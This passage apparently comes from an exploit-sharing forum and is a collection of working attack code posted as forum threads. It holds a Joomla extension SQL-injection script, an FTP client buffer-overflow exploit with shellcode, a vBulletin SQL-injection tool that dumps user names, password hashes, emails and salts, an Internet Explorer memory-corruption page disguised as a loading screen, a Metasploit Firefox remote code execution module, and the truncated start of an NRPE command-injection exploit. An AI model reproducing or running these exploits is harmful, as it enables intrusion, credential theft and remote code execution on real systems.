                               elif int(VER_REP) == 136:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           paysql = cmdMySQL(cmdsqli)[0]
                                           payload = def_payload(paysql)
                                           com_spidercalendar = com_com_spidercalendar()
                                           response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                                      break
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               elif int(VER_REP) == 135 or int(VER_REP) == 134:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           paysql = cmdMySQL(cmdsqli)[1]
                                           payload = def_payload(paysql)
                                           com_spidercalendar = com_com_spidercalendar()
                                           response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                                      break
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               elif int(VER_REP) == 133:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           paysql = cmdMySQL(cmdsqli)[2]
                                           payload = def_payload(paysql)
                                           com_spidercalendar = com_com_spidercalendar()
                                           response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                                      break
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               elif int(VER_REP) == 13:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           paysql = cmdMySQL(cmdsqli)[3]
                                           payload = def_payload(paysql)
                                           com_spidercalendar = com_com_spidercalendar()
                                           response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                                      break
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               elif int(VER_REP[:2]) == 10 or int(VER_REP[:2]) == 11 or int(VER_REP[:2]) == 12:
                                   print("[+] EXTENSION VERSION: "+VER)
                                   print("[+]")
                                   for  cmddesc, cmdsqli in C0mm4nds.items():
                                       try:
                                           paysql = cmdMySQL(cmdsqli)[4]
                                           payload = def_payload(paysql)
                                           com_spidercalendar = com_com_spidercalendar()
                                           response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0]
                                           reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1]
                                           getcode = response.status
                                           if getcode != 404:
                                              for line_response in reader:
                                                  if not line_response.find("h0m3l4b1t") == -1:
                                                      MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
                                                      if vuln == 0:
                                                          print("[!] "+m_nHost+" VULNERABLE!!!")
                                                          print("[+]")
                                                      print("[!] "+cmddesc+" : "+MYSQL_VER)
                                                      vuln = 1
                                                      break
                                       except socket.error:
                                           print('[X] Connection was lost please retry')
                                           sys.exit(1)
                               else:
                                   print("[-] EXTENSION VERSION: Unknown :(")
                                   sys.exit(0)
                        if int(vuln) == 0:
                            # VERSION NOT VULNERABLE :(
                            print("[X] Spider Contacts patched or SQLi blocked by Web Application Firewall")
                            sys.exit(1)
                        else:
                            sys.exit(0)
                except socket.error:
                    print('[X] Connection was lost please retry')
                    sys.exit(1)
        # NO SQL BLIND DETECTED
        print("[X] Spider Contacts patched or SQLi blocked by Web Application Firewall")
        sys.exit(1)
    else:
        print('[X] URL "'+m_nHost+m_nBase+com_spidercalendar+'" NOT FOUND')
        sys.exit(1)
 
# A8F43E2B9DC00BC6   1337day.com [2014-09-12]   9001C058E07982C0 #
BulletProof FTP Client 2010
ID: 67686ba3b4103b69df379d3b
Thread ID: 25388
Created: 2014-09-06T20:27:37+0000
Last Post: 2014-09-06T20:27:37+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

# !/usr/bin/python
#-----------------------------------------------------------------------------#
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit  #
# Date: Sep 05 2014                                                           #
# Vulnerability Discovery: Gabor Seljan                                       #
# Exploit Author: Robert Kugler                                               #
# Software Link: http://www.bpftp.com/                                        #
# Version: 2010.75.0.76                                                       #
# Tested on: Windows XP                                                       #
# CVE: CVE-2014-2973                                                          #
#                                                                             #
# Thanks to corelanc0d3r for his awesome tutorials and help!;-)              #
# The "Enter URL" form is also vulnerable                                     #
#-----------------------------------------------------------------------------#
  
buffer = "This is a BulletProof FTP Client Session-File and should not be modified directly.\n"
buffer+= "\x20" + "\x90" * 89
buffer+= "\xeb\x06\x90\x90"
buffer+= "\xA0\xB3\x3C\x77" # shell32.dll pop pop ret @773CB3A0
buffer+= "\x90" * 119 # 160 characters space
buffer+= ("\x33\xc0\x50\x68"
         "\x2E\x65\x78\x65"
         "\x68\x63\x61\x6C"
         "\x63\x8B\xC4\x6A" # 36 bytes
         "\x01\x50\xBB\x35" # ExitProcess is located at 0x77e598fd in kernel32.dll
         "\xfd\xe4\x77\xFF"
         "\xD3\x33\xc0\x50"
     "\xc7\xc0\x8f\x4a"
     "\xe5\x77\xff\xe0")
  
buffer+= "\x90" * (1000 - len(buffer))
  
# Just load the "BP Session" and click on "Connect".
  
file = open("ftpsession.bps","w")
file.write(buffer)
file.close()
vBulletin 4.1.2 SQL Injection
ID: 67686ba3b4103b69df379d3c
Thread ID: 25386
Created: 2014-09-05T20:19:28+0000
Last Post: 2014-09-05T20:19:28+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Automated SQL injection exploit for vBulletin versions 4.0.x through 4.1.2 that makes use of a vulnerability originally disclosed in May of 2011.

Click to expand...

Code:Copy to clipboard

# vBulletin 4.0.x => 4.1.2 AUTOMATIC SQL Injection exploit
# Author: D35m0nd142, <d35m0nd142@gmail.com>
# Google Dork: inurl:search.php?search_type=1
# Date: 02/09/2014
# Vendor Homepage: http://www.vbulletin.com/
# Tested on: vBulletin 4.1.2
# Usage: perl exploit.pl <http://target> <valid username> <valid passwd> <existent group> <userid to hack>
# Tutorial video: https://www.youtube.com/watch?v=_jec3nkoYFc
# IMPORTANT: At the first execution of the exploit I suggest you to login and logout to the forum 
(with a browser), then running it in order to allow the exploit to retrieve the correct security token 
to use. If you run more than one time the exploit, it may not get the security token because of the 
previous session's cookies and so you may have some problems retrieving the correct information. 
THE SOLUTION IS to copy the correct security token previously found (usually at the first run) and 
paste it into the source code where I wrote 'HERE'.
# Vulnerability discovered by: D4rkB1t (http://www.exploit-db.com/exploits/17314/)
 
#!/usr/bin/env perl
use LWP::UserAgent;
use HTTP::Cookies;
 
$ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0");
$ua->cookie_jar({});
$username = "username) from user where userid=$ARGV[4]#";
$email = "email) from user where userid=$ARGV[4]#";
$password = "password) from user where userid=$ARGV[4]#";
$salt = "salt) from user where userid=$ARGV[4]#";
@tofinds = ('database())#'); push(@tofinds,$username); push(@tofinds,$email); push(@tofinds,$password); push(@tofinds,$salt);
 
sub request
{
    my $token = dumping("vbloginout.txt","token");
     
    if($token eq '')
    {
        print "SECURITYTOKEN not found (Make sure to log out from any other previous logged sessions before running the exploit).\n";
        #print "Attempting using 1409594055-f2133dfe1f26a36f6349eb3a946ac38c94a182e6 as token.\n";
        $token = "1409750140-51ac26286027a4bc2b2ac38a7483081c2a4b2a3e"; # HERE
        print "Attempting using $token as token.\n";
    }
    else
    {
        print "SECURITYTOKEN FOUND: $token\n";
    }
     
    print "Sending exploit...\n\n";
    sleep(1);
    my $req = HTTP::Request->new(POST => $ARGV[0].'/search.php?search_type=1');
    $req->content_type('application/x-www-form-urlencoded');
     
    foreach $tofind (@tofinds)
    {
        $post = "query=$ARGV[3]&titleonly=0&dosearch=Search+Now&memberless=0&memberlimit=&discussionless=0&discussionlimit=&messageless=0&messagelimit=&pictureless=0&picturelimit=&sortby=dateline&order=descending&group_filter_date_lteq_month=0&group_filter_date_lteq_day=1&group_filter_date_lteq_year=&group_filter_date_gteq_month=0&group_filter_date_gteq_day=1&group_filter_date_gteq_year=&saveprefs=1&s=&securitytoken=$token&dofilter=1&do=process&searchfromtype=vBForum%3ASocialGroup&contenttypeid=7&cat[0]=1) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
        $req->content($post);
        my $res = $ua->request($req);
        #print $res->headers()->as_string; print "\n\n";
        open(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
        my $location = dumping("vbloc.txt","loc");
         
        if($location !~ /$ARGV[0]/)
        {
            banner();
            break;
        }
        #print "Location: $location\n";
        my $req1 = HTTP::Request->new(GET => $location);
        $req1->content_type('application/x-www-form-urlencoded');
        my $res1 = $ua->request($req1);
        #print $res1->content; print "\n";
        open(FILE,"> vbout.txt");
        print FILE $res1->content;
        close(FILE);
        printout($tofind);
        dumping("vbout.txt","sql");
        print "\n";
    }
    print "\n";
    print "Do you want to run the second exploitation way? (y/n) -> ";
    $want = <STDIN>;
    if($want =~ /y/)
    {
        second_request($token);
    }
}
 
sub second_request
{
    my ($token) = @_;
    print "Attempting using the second exploitation way..\n\n";
    sleep(2);
    my $req = HTTP::Request->new(POST => $ARGV[0].'/search.php');
    $req->content_type('application/x-www-form-urlencoded');
     
    foreach $tofind (@tofinds)
    {
        $post = "type%5B%5D=7&query=$ARGV[3]&titleonly=0&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=$token&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
        $req->content($post);
        my $res = $ua->request($req);
        #print $res->headers()->as_string; print "\n\n";
        open(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
        my $location = dumping("vbloc.txt","loc");
         
        if($location !~ /$ARGV[0]/)
        {
            banner();
            exit(1);
        }
        #print "Location: $location\n";
        my $req1 = HTTP::Request->new(GET => $location);
        $req1->content_type('application/x-www-form-urlencoded');
        my $res1 = $ua->request($req1);
        #print $res1->content; print "\n";
        open(FILE,"> vbout.txt");
        print FILE $res1->content;
        close(FILE);
        printout($tofind);
        dumping("vbout.txt","sql");
        print "\n";
    }
    print "\n";
}
 
sub banner
{
    print "[-] Exploit not successful!\n";
    if(token eq "1409563107-55b86c8f60ad36a41dedff21b06bdc8c9d949303")
    {
        print "[i] Try to log in and log out from other any other sessions and run the exploit again.\n\n";
    }
}
 
sub printout
{
    my ($tofind) = @_;
    if($tofind =~ /username/)
    {
        print "[+] User($ARGV[4]) Username: ";
    }
    elsif($tofind =~ /password/)
    {
        print "[+] User($ARGV[4]) Password: ";
    }
    elsif($tofind =~ /database/)
    {
        print "[+] Database Name: ";
    }
    elsif($tofind =~ /email/)
    {
        print "[+] User($ARGV[4]) Email: ";
    }
    elsif($tofind =~ /salt/)
    {
        print "[+] User($ARGV[4]) Salt: ";
    }
}
 
sub dumping
{
    my ($filename, $par) = @_;
    open(MYFILE,"< ", $filename);
    my @words;
    while(<MYFILE>)
    {
        chomp;
        @words = split(' ');
         
        if($par eq "token")
        {
            my $ctrl = "n";
            foreach my $word (@words)
            {
                if($word =~ /SECURITYTOKEN/)
                {
                    $ctrl = "y";
                }
                if($ctrl eq "y" and $word !~ /=/ and $word !~ /SECURITYTOKEN/)
                {
                    $word =~ tr/;//d; $word =~ tr/\"//d;
                    return $word;
                    break;
                }
            }
        }
         
        elsif($par eq "sql")
        {
            foreach my $word (@words)
            {
                if($word =~ /:::/)
                {
                    $word =~ tr/::://d;
                    print "$word";
                }
            }
        }
         
        else
        {
            my $ctrl2 = "n";
            foreach my $word (@words)
            {
                if($word =~ /Location:/)
                {
                    $ctrl2 = "y";
                }
                if($ctrl2 eq "y" and $word !~ /Location:/)
                {
                    return $word;
                }
            }
        }
    }
    close(MYFILE);
}
 
sub login(@)
{
    my $username = shift;
    my $password = shift;
    print "\nLogging in...\n";
    sleep(1);
    my $req = HTTP::Request->new(POST => $ARGV[0].'/login.php?do=login');
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("vb_login_username=$username&vb_login_password=$password&s=&securitytoken=1409514185-74f04ec0932a6f070268bf287797b5dc0db05530&do=login&vb_login_md5password=&vb_login_md5password_utf=");
    $ua->cookie_jar({});
    my $res = $ua->request($req);
    #print "\n"; print $res->content; print "\n";
    open(FILE2,"> vbloginout.txt"); print FILE2 $res->content; close(FILE2);
    request();
}
 
if($ARGV[0] eq '' || $ARGV[1] eq '' || $ARGV[2] eq '' || $ARGV[3] eq '' || $ARGV[4] eq '')
{
    print "\n<! vBulletin 4.0.x => 4.1.2 Automatic SQL Injection exploit !>\n";
    print "Author: D35m0nd142\n\n";
    print "Usage: perl exploit.pl <<http://target> <valid username> <valid passwd> <existent group> <userid to hack>\n";
    print "Example: perl exploit.pl http://site.com myusername mypassword Administrators 1\n\n";
    exit(1);
}
 
print "\n<! vBulletin 4.0.x => 4.1.2 Automatic SQL Injection exploit !>\n";
print "Author: D35m0nd142\n";
sleep(1);
login($ARGV[1],$ARGV[2]);
 
@files = ('vbloginout.txt','vbout.txt','vbloc.txt');
foreach $file (@files)
{
    unlink $file;
}
Microsoft Internet Explorer MS14-029
ID: 67686ba3b4103b69df379d3d
Thread ID: 25383
Created: 2014-09-01T11:37:46+0000
Last Post: 2014-09-01T11:37:46+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Microsoft Internet Explorer memory corruption proof of concept exploit that leverages the vulnerability noted in MS14-029.

Click to expand...

Code:Copy to clipboard

<!doctype html>
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>
<sc​ript >
func​tion stc()
{
var Then = new Date();
Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );
document.cookie = "Cookie1=d93kaj3Nja3; expires="+ Then.toGMTString();
}
func​tion cid()
{
var swf = 0;
try {
swf = new ActiveXObject('ShockwaveFlash.ShockwaveFlash'); } catch (e) {
}
if (!swf)
return 0;
var cookieString = new String(document.cookie);
if(cookieString.indexOf("d93kaj3Nja3") == -1)
{stc(); return 1;}else{ return 0;}
}
String.prototype.repeat=func​tion (i){return new Array(isNaN(i)?1:++i).join(this);}
var tpx=un​escape ("%u1414%u1414").repeat(0x60/4-1);
var ll=new Array();
for (i=0;i<3333;i++)ll.push(document.create​Element("img"));
for(i=0;i<3333;i++) ll[i].className=tpx;
for(i=0;i<3333;i++) ll[i].className="";
CollectGarbage();
func​tion b2()
{
try{xdd.re​placeNode(document.createTextNode(" "));}catch(exception){}
try{xdd.outerText='';}catch(exception){}
CollectGarbage();
for(i=0;i<3333;i++) ll[i].className=tpx;
}
func​tion a1(){
if (!cid())
return;
document.body.contentEditable="true";
try{xdd.applyElement(document.create​Element("frameset"));}catch(exception){}
try{document.selection.createRange().select();}catch(exception){}
}
</ sc​ript >
</head>
<body onload='setTimeout("a1();",2000);' onresize=b2()>
<marquee id=xdd > </marquee>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1%" height="1%" id="FE">
<param name="movie" value="storm.swf" />
<param name="quality" value="high" />
<param name="bgcolor" value="#ffffff" />
<param name="allowScriptAccess" value="sameDomain" />
<param name="allowFullScreen" value="true" />
</object>
</body>
<body>
<form name=loading>
¡¡<p align=center> <font color="#0066ff" size="2"> Loading....,Please Wait</font> <font color="#0066ff" size="2" face="verdana"> ...</font>
¡¡¡¡<input type=text name=chart size=46 style="font-family:verdana; font-weight:bolder; color:#0066ff; background-color:#fef4d9; padding:0px; border-style:none;">
¡¡¡¡
¡¡¡¡<input type=text name=percent size=47 style="color:#0066ff; text-align:center; border-width:medium; border-style:none;">
¡¡¡¡<sc​ript > ¡¡
var bar=0¡¡
var line="||"¡¡
var amount="||"¡¡
count()¡¡
func​tion count(){¡¡
bar=bar+2¡¡
amount =amount + line¡¡
document.loading.chart.value=amount¡¡
document.loading.percent.value=bar+"%"¡¡
if (bar<99)¡¡
{setTimeout("count()",500);}¡¡
else¡¡
{window.location = "http://www.google.com.hk";}¡¡
}</ sc​ript >
¡¡</p>
</form>
<p align="center"> Wart,<a style="text-decoration: none" href="http://www.google.com.hk"> <font color="#FF0000"> kick me</font> </a> .</p>
</body>
</html>
Firefox WebIDL Privileged Javascript Injection
ID: 67686ba3b4103b69df379d3e
Thread ID: 25382
Created: 2014-08-29T03:46:34+0000
Last Post: 2014-08-29T03:46:34+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

This exploit gains remote code execution on Firefox 22-27 by abusing two separate privilege escalation vulnerabilities in Firefox's Javascript APIs.

Click to expand...

Code:Copy to clipboard

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/exploitation/jsobfu'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

  autopwn_info({
    :ua_name    => HttpClients::FF,
    :ua_maxver  => "22.0",
    :ua_maxver  => "27.0",
    :javascript => true,
    :rank       => ExcellentRanking
  })

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox WebIDL Privileged Javascript Injection',
      'Description'    => %q{
        This exploit gains remote code execution on Firefox 22-27 by abusing two
        separate privilege escalation vulnerabilities in Firefox's Javascript
        APIs.
      },
      'License' => MSF_LICENSE,
      'Author'  => [
        'Marius Mlynski', # discovery and pwn2own exploit
        'joev' # metasploit module
      ],
      'DisclosureDate' => "Mar 17 2014",
      'References' => [
        ['CVE', '2014-1510'], # open chrome:// url in iframe
        ['CVE', '2014-1511']  # bypass popup blocker to load bare ChromeWindow
      ],
      'Targets' => [
        [
          'Universal (Javascript XPCOM Shell)', {
            'Platform' => 'firefox',
            'Arch' => ARCH_FIREFOX
          }
        ],
        [
          'Native Payload', {
            'Platform' => %w{ java linux osx solaris win },
            'Arch'     => ARCH_ALL
          }
        ]
      ],
      'DefaultTarget' => 0,
      'BrowserRequirements' => {
        :source  => 'script',
        :ua_name => HttpClients::FF,
        :ua_ver  => lambda { |ver| ver.to_i.between?(22, 27) }
      }
    ))

    register_options([
      OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
    ], self.class)
  end

  def on_request_exploit(cli, request, target_info)
    send_response_html(cli, generate_html(target_info))
  end

  def generate_html(target_info)
    key = Rex::Text.rand_text_alpha(5 + rand(12))
    frame = Rex::Text.rand_text_alpha(5 + rand(12))
    r = Rex::Text.rand_text_alpha(5 + rand(12))
    opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
    data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+
               "{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
               "'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"

    js = Rex::Exploitation::JSObfu.new(%Q|
      var opts = #{JSON.unparse(opts)};
      var key = opts['#{key}'];

      // Load the chrome-privileged browser XUL script into an iframe
      var c = new mozRTCPeerConnection;
      c.createOffer(function(){},function(){
        window.open('chrome://browser/content/browser.xul', '#{frame}');
        step1();
      });

      // Inject a data: URI into an internal frame inside of the browser
      // XUL script to pop open a new window with the chrome flag to prevent
      // the new window from being wrapped with browser XUL;
      function step1() {
        var clear = setInterval(function(){

          // throws until frames[0].frames[2] is available (when chrome:// iframe loads)
          frames[0].frames[2].location;

          // we base64 this to avoid the script tag screwing up things when obfuscated
          frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}');
          clearInterval(clear);
          setTimeout(step2, 100);
        },10);
      }

      // Step 2: load the chrome-level window up with a data URI, which
      // gives us same-origin. Make sure to load an "<iframe mozBrowser>"
      // into the frame, since that will respond to our messageManager
      // (this is important later)
      function step2() {
        var clear = setInterval(function(){
          top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+
                             'src="about:blank"></iframe></body></html>';
          clearInterval(clear);
          setTimeout(step3, 100);
        }, 10);
      }

      function step3() {
        var clear = setInterval(function(){
          if (!frames[0]) return; // will throw until the frame is accessible
          top.vvv.messageManager.loadFrameScript('data:,'+key, false);
          clearInterval(clear);
          setTimeout(function(){top.vvv.close();}, 100);
        }, 10);
      }

    |)

    js.obfuscate

    %Q|
      <!doctype html>
      <html>
        <body>
          <iframe id='#{frame}' name='#{frame}'
                  style='position:absolute;left:-9999999px;height:1px;width:1px;'>
          </iframe>
          <script>
            #{js}
          </script>
          #{datastore['CONTENT']}
        </body>
      </html>
    |
  end
end

_MSF

NRPE 2.15 Remote Command Execution
ID: 67686ba3b4103b69df379d3f
Thread ID: 25381
Created: 2014-08-29T03:44:54+0000
Last Post: 2014-08-29T03:44:54+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

NRPE version 2.15 remote command execution exploit written in Python

Click to expand...

Code:Copy to clipboard

#!/usr/bin/python
#
#
# Exploit Title : NRPE <= 2.15 Remote Code Execution Vulnerability
#
# Discovered by  : Dawid Golunski
#                  dawid (at) legalhackers (dot) com
#                  legalhackers.com
#
# Exploit Author : Claudio Viviani
#                  http://www.homelab.it
#
#                  info@homelab.it
#                  homelabit@protonmail.ch
#
#                  https://www.facebook.com/homelabit
#                  https://twitter.com/homelabit
#                  https://plus.google.com/+HomelabIt1/
#                  https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
#
#
#
# C crc32 function ripped from check_nrpe_clone by Alan Brenner <alan.brenner@ithaka.org>
#                                       http://www.abcompcons.com/files/nrpe_client.py
#
# pyOpenSSL Library required (http://pyopenssl.sourceforge.net/)
#
# [root@localhost ~]# pip-python install pyOpenSSL
#
# NRPE <= 2.15 Remote Command Execution Vulnerability
# Release date: 17.04.2014
# Discovered by: Dawid Golunski
# Severity: High
# CVE-2014-2913
#
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2913
# http://www.exploit-db.com/exploits/32925/
# http://www.homelab.it/index.php/2014/05/03/nagios-nrpe-remote-command-injection-test-fix/ (ITA)
#
# Tested on CentOS 5.x, CentOS 6.x, BacBox 3.x, KaliLinux 1.0.6 with Python 2.x
#
# Demo: https://www.youtube.com/watch?v=nmYiBdnWWcE
#

import OpenSSL # non-standard, see http://pyopenssl.sourceforge.net/
import optparse
import os
import signal
import socket
import struct
import sys
import time

banner = """

$$\   $$\ $$$$$$$\  $$$$$$$\  $$$$$$$$\        $$$$$$\        $$\  $$$$$$$\\
$$$\  $$ |$$  __$$\ $$  __$$\ $$  _____|      $$  __$$\     $$$$ | $$  ____|
$$$$\ $$ |$$ |  $$ |$$ |  $$ |$$ |            \__/  $$ |    \_$$ | $$ |
$$ $$\$$ |$$$$$$$  |$$$$$$$  |$$$$$\           $$$$$$  |      $$ | $$$$$$$\\
$$ \$$$$ |$$  __$$< $$  ____/ $$  __|         $$  ____/       $$ | \_____$$\\
$$ |\$$$ |$$ |  $$ |$$ |      $$ |            $$ |            $$ | $$\   $$ |
$$ | \$$ |$$ |  $$ |$$ |      $$$$$$$$\       $$$$$$$$\ $$\ $$$$$$\\$$$$$$  |
\__|  \__|\__|  \__|\__|      \________|      \________|\__|\______|\______/



                  $$$$$$$\   $$$$$$\  $$$$$$$$\\
                  $$  __$$\ $$  __$$\ $$  _____|
                  $$ |  $$ |$$ /  \__|$$ |
                  $$$$$$$  |$$ |      $$$$$\\
                  $$  __$$< $$ |      $$  __|
                  $$ |  $$ |$$ |  $$\ $$ |
                  $$ |  $$ |\$$$$$$  |$$$$$$$$\\
                  \__|  \__| \______/ \________|
                                                   NRPE <= 2.15 R3m0t3 C0mm4nd Ex3cut10n


                =============================================
                - Release date: 17.04.2014
                - Discovered by: Dawid Golunski
                - Severity: High
                - CVE: 2014-2913
                =============================================

                                Written by:

                              Claudio Viviani

                           http://www.homelab.it

                              info@homelab.it
                           homelabit@protonmail.ch

                      https://www.facebook.com/homelabit
                      https://twitter.com/homelabit
                      https://plus.google.com/+HomelabIt1/
            https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

"""
# Plugin list for Brute force mode
PluginList = ['check_all',
             'check_apt',
             'check_bdii',
             'check_bonding',
             'check_breeze',
             'check_by_ssh',
             'check_check-updates',
             'check_check_sip',
             'check_cluster',
             'check_dhcp',
             'check_dig',
             'check_disk',
             'check_disk_smb',
             'check_dns',
             'check_dpm-disk',
             'check_dpm-head',
             'check_dummy',
             'check_file_age',
             'check_flexlm',
             'check_fping',
             'check_game',
             'check_hpjd',
             'check_http',
             'check_icmp',
             'check_ide_smart',
             'check_ifoperstatus',
             'check_ifstatus',
             'check_ircd',
             'check_lcgdm',
             'check_lcgdm-common',
             'check_ldap',
             'check_lfc',
             'check_linux_raid',
             'check_load',
             'check_log',
             'check_mailq',
             'check_mrtg',
             'check_mrtgtraf',
             'check_mysql',
             'check_nagios',
             'check_nrpe',
             'check_nt',
             'check_ntp',
             'check_nwstat',
             'check_openmanage',
             'check_oracle',
             'check_overcr',
             'check_perl',
             'check_pgsql',
             'check_ping',
             'check_procs',
             'check_radius',
             'check_real',
             'check_rhev',
             'check_rpc',
             'check_sensors',
             'check_smtp',
             'check_snmp',
             'check_ssh',
             'check_swap',
             'check_tcp',
             'check_time',
             'check_ups',
             'check_users',
             'check_wave']



# nrpe 2.15 skip chars "|`&><'\"\\[]{};" and "$()" but not "\x0a"(new line)
evilchar = "\x0a"

QUERY_PACKET    = 1
RESPONSE_PACKET = 2

NRPE_PACKET_VERSION_2 = 2

# max amount of data we'll send in one query/response
MAX_PACKETBUFFER_LENGTH = 1024


#def debug(sMessage):
#    """Send a string to STDERR"""
#    if DEBUG:
#        sys.stderr.write("%s\n" % sMessage)

class DataPacket:
    """A Python implementation of the C struct, packet."""
    def __init__(self, packet_version, packet_type):
        self.nPacketVersion = packet_version # int16
        self.nPacketType = packet_type # int16
        self.nCRC32 = 0 # u_int32
        self.nResultCode = 2324 # int16
        self.sData = ''
        self.tCRC32 = (
             0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419,
             0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4,
             0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07,
             0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
             0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856,
             0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
             0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4,
             0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
             0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3,
             0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a,
             0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599,
             0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
             0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190,
             0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f,
             0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e,
             0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
             0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed,
